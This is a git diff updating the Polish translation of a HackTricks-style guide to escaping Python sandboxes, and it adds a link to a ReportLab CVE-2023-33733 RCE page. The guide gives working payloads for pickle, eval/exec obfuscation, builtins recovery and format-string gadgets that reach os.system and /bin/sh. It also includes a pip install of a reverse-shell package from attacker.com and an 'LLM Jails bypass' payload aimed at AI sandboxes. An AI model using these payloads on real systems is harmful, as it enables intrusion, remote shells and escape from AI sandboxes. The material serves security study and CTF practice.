diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1659bf643..1b61cadc6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -70,6 +70,7 @@ - [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md) - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) + - [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 2e337ea2f..cc259b96e 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -To są pewne sztuczki, aby obejść zabezpieczenia piaskownicy Pythona i wykonać dowolne polecenia. +Oto kilka trików pozwalających obejść zabezpieczenia Python sandbox i wykonać dowolne polecenia. ## Biblioteki do wykonywania poleceń -Pierwszą rzeczą, którą musisz wiedzieć, jest to, czy możesz bezpośrednio wykonać kod za pomocą już zaimportowanej biblioteki, lub czy możesz zaimportować którąkolwiek z tych bibliotek: +Pierwsza rzecz, którą musisz ustalić, to czy możesz bezpośrednio wykonać kod za pomocą jakiejś już zaimportowanej biblioteki, albo czy możesz zaimportować którąkolwiek z poniższych bibliotek: ```python os.system("ls") os.popen("ls").read() @@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być przydatne do **czytania plików** wewnątrz piaskownicy Pythona oraz do **pisania kodu**, który możesz **wykonać**, aby **obejść** piaskownicę. +Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być użyteczne do **odczytywania plików** wewnątrz python sandbox oraz do **napisania kodu**, który można **wykonać**, aby **obejść** sandbox. -> [!CAUTION] > Funkcja **input()** w Pythonie 2 pozwala na wykonywanie kodu Pythona przed awarią programu. +> [!CAUTION] > **Python2 input()** funkcja pozwala na wykonanie kodu python zanim program ulegnie awarii. -Python próbuje **ładować biblioteki z bieżącego katalogu jako pierwsze** (następujące polecenie wydrukuje, skąd Python ładuje moduły): `python3 -c 'import sys; print(sys.path)'` +Python próbuje **ładować biblioteki najpierw z bieżącego katalogu** (następujące polecenie wyświetli, skąd python ładuje moduły): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) -## Obejście piaskownicy pickle za pomocą domyślnie zainstalowanych pakietów Pythona +## Bypass pickle sandbox with the default installed python packages ### Domyślne pakiety -Możesz znaleźć **listę wstępnie zainstalowanych** pakietów tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Zauważ, że z pickle możesz sprawić, że środowisko Pythona **zaimportuje dowolne biblioteki** zainstalowane w systemie.\ -Na przykład, poniższy pickle, po załadowaniu, zaimportuje bibliotekę pip, aby jej użyć: +Listę **wstępnie zainstalowanych** pakietów znajdziesz tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +Zauważ, że z pickle możesz spowodować, że python env **import arbitrary libraries** zainstalowane w systemie.\ +Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip, aby jej użyć: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -66,32 +66,32 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -Aby uzyskać więcej informacji na temat działania pickle, sprawdź to: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +Aby uzyskać więcej informacji o tym, jak działa pickle, zobacz: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) -### Pakiet Pip +### Pip package Sztuczka udostępniona przez **@isHaacK** -Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pakiet i uzyskać powłokę zwrotną, wywołując: +Jeśli masz dostęp do `pip` lub `pip.main()` możesz zainstalować dowolny pakiet i uzyskać reverse shell wywołując: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` -Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę zauważyć, że przed użyciem powinieneś **rozpakować go, zmienić `setup.py` i wpisać swój adres IP dla reverse shell**: +Możesz pobrać pakiet do stworzenia reverse shell tutaj. Zwróć uwagę, że przed użyciem powinieneś **rozpakować go, zmodyfikować `setup.py` i wpisać swój IP dla reverse shell**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] -> Ten pakiet nazywa się `Reverse`. Jednak został specjalnie stworzony tak, aby po wyjściu z reverse shell reszta instalacji zakończyła się niepowodzeniem, więc **nie zostawisz żadnego dodatkowego pakietu python na serwerze** po wyjściu. +> Ten pakiet nazywa się `Reverse`. Został jednak specjalnie przygotowany tak, że gdy zamkniesz reverse shell reszta instalacji się nie powiedzie, więc **nie zostawisz żadnego dodatkowego pakietu python zainstalowanego na serwerze** po odejściu. -## Eval-ing kodu python +## Używanie eval w pythonie > [!WARNING] -> Zauważ, że exec pozwala na wieloliniowe ciągi i ";", ale eval nie (sprawdź operator walrus) +> Zwróć uwagę, że exec pozwala na wieloliniowe stringi i ";", ale eval tego nie robi (sprawdź walrus operator) -Jeśli pewne znaki są zabronione, możesz użyć reprezentacji **hex/octal/B64** do **obejścia** ograniczenia: +Jeśli niektóre znaki są zabronione, możesz użyć reprezentacji **hex/octal/B64**, aby **bypass** ograniczenia: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### Inne biblioteki, które pozwalają na eval kodu python +### Inne biblioteki, które umożliwiają eval kodu python ```python #Pandas import pandas as pd @@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` -## Operatory i krótkie sztuczki +Zobacz także rzeczywisty przypadek sandboxed evaluator escape w generatorach PDF: + +- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Wykorzystuje rl_safe_eval, aby dostać się do function.__globals__ i os.system z ocenianych atrybutów (na przykład kolor czcionki) i zwraca prawidłową wartość, aby renderowanie pozostało stabilne. + +{{#ref}} +reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +{{#endref}} + +## Operatory i szybkie sztuczki ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## Obejście zabezpieczeń za pomocą kodowania (UTF-7) +## Omijanie zabezpieczeń przez kodowania (UTF-7) -W [**tym opisie**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używane do ładowania i wykonywania dowolnego kodu python w pozornym piaskownicy: +W [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używany do załadowania i uruchomienia dowolnego kodu python wewnątrz pozornego sandboxa: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -148,13 +156,13 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -Możliwe jest również ominięcie tego za pomocą innych kodowań, np. `raw_unicode_escape` i `unicode_escape`. +Można go również obejść, używając innych kodowań, np. `raw_unicode_escape` i `unicode_escape`. -## Wykonanie Pythona bez wywołań +## Wykonywanie w Pythonie bez wywołań -Jeśli jesteś w pułapce Pythona, która **nie pozwala na wywołania**, wciąż istnieją sposoby na **wykonanie dowolnych funkcji, kodu** i **poleceń**. +Jeśli znajdujesz się w python jail, który **nie pozwala na wykonywanie wywołań**, nadal istnieją sposoby na **uruchamianie dowolnych funkcji, kodu** i **poleceń**. -### RCE z [dekoratorami](https://docs.python.org/3/glossary.html#term-decorator) +### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -176,13 +184,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` -### RCE tworzenie obiektów i przeciążanie +### RCE creating objects and overloading -Jeśli możesz **zadeklarować klasę** i **utworzyć obiekt** tej klasy, możesz **zapisać/przeciążyć różne metody**, które mogą być **wywoływane** **bez** **konieczności ich bezpośredniego wywoływania**. +Jeśli możesz **declare a class** i **create an object** tej klasy, możesz **write/overwrite different methods**, które mogą zostać **triggered** **without** **needing to call them directly**. -#### RCE z niestandardowymi klasami +#### RCE with custom classes -Możesz modyfikować niektóre **metody klas** (_przez przeciążenie istniejących metod klas lub tworzenie nowej klasy_), aby sprawić, że będą **wykonywać dowolny kod** po **wywołaniu** bez bezpośredniego ich wywoływania. +Możesz zmodyfikować niektóre **class methods** (_by overwriting existing class methods or creating a new class_) tak, aby **execute arbitrary code** gdy zostaną **triggered** bez wywoływania ich bezpośrednio. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` -#### Tworzenie obiektów za pomocą [metaklas](https://docs.python.org/3/reference/datamodel.html#metaclasses) +#### Tworzenie obiektów z [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) -Kluczową rzeczą, którą metaklasy pozwalają nam zrobić, jest **utworzenie instancji klasy, bez bezpośredniego wywoływania konstruktora**, poprzez stworzenie nowej klasy z docelową klasą jako metaklasą. +Najważniejsze, co umożliwiają metaclasses, to **utworzenie instancji klasy bez bezpośredniego wywoływania konstruktora**, poprzez stworzenie nowej klasy, która używa docelowej klasy jako metaclass. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -249,9 +257,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` -#### Tworzenie obiektów z wyjątkami +#### Tworzenie obiektów za pomocą wyjątków -Gdy **wyjątek jest wywoływany**, obiekt **Exception** jest **tworzony** bez potrzeby bezpośredniego wywoływania konstruktora (sztuczka od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): +Gdy **wyjątek zostanie wywołany**, obiekt klasy **Exception** jest **tworzony** bez potrzeby wywoływania konstruktora bezpośrednio (sztuczka od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): @@ -293,7 +301,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### Przeczytaj plik z pomocą i licencją builtins +### Przeczytaj plik z pomocą builtins i licencją ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -302,22 +310,22 @@ a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` -## Builtins +## Wbudowane - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) -Jeśli masz dostęp do obiektu **`__builtins__`**, możesz importować biblioteki (zauważ, że możesz również użyć tutaj innej reprezentacji ciągu pokazanej w ostatniej sekcji): +Jeśli masz dostęp do obiektu **`__builtins__`** możesz zaimportować biblioteki (zauważ, że możesz tu również użyć innych reprezentacji tekstowych pokazanych w ostatniej sekcji): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` -### Brak Wbudowanych +### Brak Builtins -Kiedy nie masz `__builtins__`, nie będziesz w stanie zaimportować niczego ani nawet czytać lub pisać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\ -Jednak **domyślnie python ładuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności, które można wykorzystać do uzyskania **dowolnego wykonania kodu**. +Gdy nie masz `__builtins__` nie będziesz w stanie importować niczego ani nawet czytać czy zapisywać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\ +Jednakże, **domyślnie python importuje do pamięci wiele modułów**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności wewnątrz siebie, do których można uzyskać dostęp, by osiągnąć nawet **arbitrary code execution**. -W poniższych przykładach możesz zobaczyć, jak **wykorzystać** niektóre z tych "**nieszkodliwych**" modułów załadowanych do **dostępu** do **niebezpiecznych** **funkcjonalności** wewnątrz nich. +W poniższych przykładach możesz zobaczyć, jak można **nadużyć** niektórych z tych "**benign**" załadowanych modułów, aby **uzyskać dostęp** do **niebezpiecznych** **funkcjonalności** w ich wnętrzu. **Python2** ```python @@ -359,15 +367,15 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których możesz znaleźć **builtins**. +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) aby znaleźć dziesiątki/**setki** **miejsc**, w których możesz znaleźć **builtins**. -#### Python2 i Python3 +#### Python2 and Python3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` -### Wbudowane ładunki +### Builtins payloads ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() @@ -375,9 +383,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` -## Globals and locals +## Globals i locals -Sprawdzanie **`globals`** i **`locals`** to dobry sposób, aby dowiedzieć się, do czego masz dostęp. +Sprawdzenie **`globals`** i **`locals`** to dobry sposób, aby dowiedzieć się, do czego masz dostęp. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -401,15 +409,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których można znaleźć **globals**. +[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których możesz znaleźć **globals**. -## Odkrywanie dowolnej egzekucji +## Odkrywanie możliwości wykonania dowolnego kodu -Tutaj chcę wyjaśnić, jak łatwo odkryć **bardziej niebezpieczne funkcjonalności załadowane** i zaproponować bardziej niezawodne exploity. +Tutaj chcę wyjaśnić, jak łatwo odkryć **bardziej niebezpieczne załadowane funkcjonalności** i zaproponować bardziej niezawodne exploits. -#### Uzyskiwanie dostępu do podklas z obejściami +#### Dostęp do subclasses z bypasses -Jedną z najbardziej wrażliwych części tej techniki jest możliwość **uzyskania dostępu do podstawowych podklas**. W poprzednich przykładach zrobiono to za pomocą `''.__class__.__base__.__subclasses__()`, ale istnieją **inne możliwe sposoby**: +Jednym z najbardziej wrażliwych elementów tej techniki jest możliwość **dostępu do base subclasses**. W poprzednich przykładach zrobiono to używając `''.__class__.__base__.__subclasses__()` ale istnieją **inne możliwe sposoby**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -437,9 +445,9 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -### Znajdowanie niebezpiecznych załadowanych bibliotek +### Znajdowanie załadowanych niebezpiecznych bibliotek -Na przykład, wiedząc, że za pomocą biblioteki **`sys`** można **importować dowolne biblioteki**, możesz wyszukać wszystkie **moduły załadowane, które mają zaimportowane sys w sobie**: +Na przykład, wiedząc, że z biblioteką **`sys`** można **import arbitrary libraries**, możesz wyszukać wszystkie **modules loaded that have imported sys inside of them**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] @@ -448,7 +456,7 @@ Jest ich wiele, a **potrzebujemy tylko jednego**, aby wykonać polecenia: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że mogą być używane do **wykonywania poleceń**: +Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że mogą być użyte do **wykonywania poleceń**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -483,7 +491,7 @@ Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że mogą b #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` -Ponadto, możemy nawet sprawdzić, które moduły ładują złośliwe biblioteki: +Co więcej, możemy nawet sprawdzić, które moduły ładują złośliwe biblioteki: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -502,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -Ponadto, jeśli uważasz, że **inne biblioteki** mogą **wywoływać funkcje do wykonywania poleceń**, możemy również **filtrować według nazw funkcji** w możliwych bibliotekach: +Co więcej, jeśli uważasz, że **inne biblioteki** mogą być w stanie **wywoływać funkcje uruchamiające polecenia**, możemy także **filtrować według nazw funkcji** znajdujących się w tych bibliotekach: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -538,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil ## Rekurencyjne wyszukiwanie Builtins, Globals... > [!WARNING] -> To jest po prostu **niesamowite**. Jeśli **szukasz obiektu takiego jak globals, builtins, open lub czegokolwiek innego**, po prostu użyj tego skryptu, aby **rekurencyjnie znaleźć miejsca, w których możesz znaleźć ten obiekt.** +> To jest po prostu **świetne**. Jeśli **szukasz obiektu takiego jak globals, builtins, open lub cokolwiek innego** po prostu użyj tego skryptu, aby **rekurencyjnie znaleźć miejsca, gdzie ten obiekt występuje.** ```python import os, sys # Import these to find more gadgets @@ -656,13 +664,14 @@ main() ``` Możesz sprawdzić wynik tego skryptu na tej stronie: + {{#ref}} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {{#endref}} ## Python Format String -Jeśli **wyślesz** **ciąg** do Pythona, który ma być **formatowany**, możesz użyć `{}`, aby uzyskać dostęp do **wewnętrznych informacji Pythona.** Możesz użyć wcześniejszych przykładów, aby uzyskać dostęp do globals lub builtins na przykład. +Jeśli **wyślesz** **string** do python, który zostanie **sformatowany**, możesz użyć `{}` aby uzyskać dostęp do **python internal information.** Możesz użyć poprzednich przykładów, aby uzyskać dostęp do globals lub builtins, na przykład. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -682,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Zauważ, jak możesz **uzyskać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` oraz **elementu dict** z **nawiasami** bez cudzysłowów `__globals__[CONFIG]`. +Zauważ, jak możesz **dostępować do atrybutów** w zwykły sposób za pomocą **kropki** jak `people_obj.__init__` oraz **elementu dict** za pomocą **nawiasów** bez cudzysłowów `__globals__[CONFIG]` -Zauważ również, że możesz użyć `.__dict__`, aby wyliczyć elementy obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`. +Zwróć też uwagę, że możesz użyć `.__dict__` do wypisania elementów obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -Niektóre inne interesujące cechy formatów ciągów to możliwość **wykonywania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając odpowiednio **`!s`**, **`!r`**, **`!a`**: +Inne ciekawe cechy format strings to możliwość **wywoływania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie przez dodanie odpowiednio **`!s`**, **`!r`**, **`!a`**: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -Ponadto możliwe jest **kodowanie nowych formatterów** w klasach: +Ponadto możliwe jest **code new formatters** w klasach: ```python class HAL9000(object): def __format__(self, format): @@ -702,17 +711,17 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**Więcej przykładów** dotyczących **formatu** **łańcucha** można znaleźć na [**https://pyformat.info/**](https://pyformat.info) +**Więcej przykładów** dotyczących **format** **string** można znaleźć na [**https://pyformat.info/**](https://pyformat.info) -> [!OSTRZEŻENIE] -> Sprawdź również następującą stronę w poszukiwaniu gadżetów, które r**ead sensitive information from Python internal objects**: +> [!CAUTION] +> Sprawdź także następującą stronę zawierającą gadgets, które r**ead sensitive information from Python internal objects**: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} -### Ładunki ujawniające wrażliwe informacje +### Sensitive Information Disclosure Payloads ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -728,22 +737,22 @@ secret_variable = "clueless" x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol') str(x) # Out: clueless ``` -### Obejście LLM Jails +### LLM Jails bypass -Z [tutaj](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` +Z [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` -### Od formatu do RCE ładowania bibliotek +### Od format string do RCE poprzez ładowanie bibliotek -Zgodnie z [**wyzwaniem TypeMonkey z tego opisu**](https://corgi.rip/posts/buckeye-writeups/) możliwe jest ładowanie dowolnych bibliotek z dysku, wykorzystując lukę w formacie łańcucha w pythonie. +Według [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) możliwe jest załadowanie dowolnych bibliotek z dysku, wykorzystując format string vulnerability w python. -Przypomnienie, za każdym razem, gdy wykonywana jest akcja w pythonie, wywoływana jest jakaś funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** lub **`{'a':'b'}['a']`** będzie **`{'a':'b'}.__getitem__('a')`**. +Dla przypomnienia, za każdym razem gdy w pythonie wykonywana jest jakaś operacja, uruchamiana jest pewna funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** lub **`{'a':'b'}['a']`** wykona **`{'a':'b'}.__getitem__('a')`**. -Masz więcej takich przykładów w sekcji [**Wykonanie Pythona bez wywołań**](#python-execution-without-calls). +Więcej takich przykładów znajdziesz w sekcji [**Python execution without calls**](#python-execution-without-calls). -Luka w formacie łańcucha w pythonie nie pozwala na wykonanie funkcji (nie pozwala na użycie nawiasów), więc nie jest możliwe uzyskanie RCE jak `'{0.system("/bin/sh")}'.format(os)`.\ -Jednak możliwe jest użycie `[]`. Dlatego, jeśli powszechna biblioteka pythonowa ma metodę **`__getitem__`** lub **`__getattr__`**, która wykonuje dowolny kod, można je wykorzystać do uzyskania RCE. +Format string vuln w pythonie nie pozwala na wykonanie funkcji (nie pozwala na użycie nawiasów), więc nie można uzyskać RCE jak `'{0.system("/bin/sh")}'.format(os)`.\ +Jednak możliwe jest użycie `[]`. W związku z tym, jeśli jakaś popularna biblioteka python ma metodę **`__getitem__`** lub **`__getattr__`**, która wykonuje arbitralny kod, można je wykorzystać do uzyskania RCE. -Szukając takiego gadżetu w pythonie, opis proponuje tę [**kwerendę wyszukiwania na Githubie**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gdzie znalazł ten [przykład](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): +Szukając takiego gadgetu w pythonie, autor writeupu proponuje to [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Tam znalazł ten [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -765,20 +774,20 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -To urządzenie pozwala na **załadowanie biblioteki z dysku**. Dlatego konieczne jest w jakiś sposób **napisać lub przesłać bibliotekę do załadowania** poprawnie skompilowaną na zaatakowany serwer. +Ten gadget pozwala **load a library from disk**. W związku z 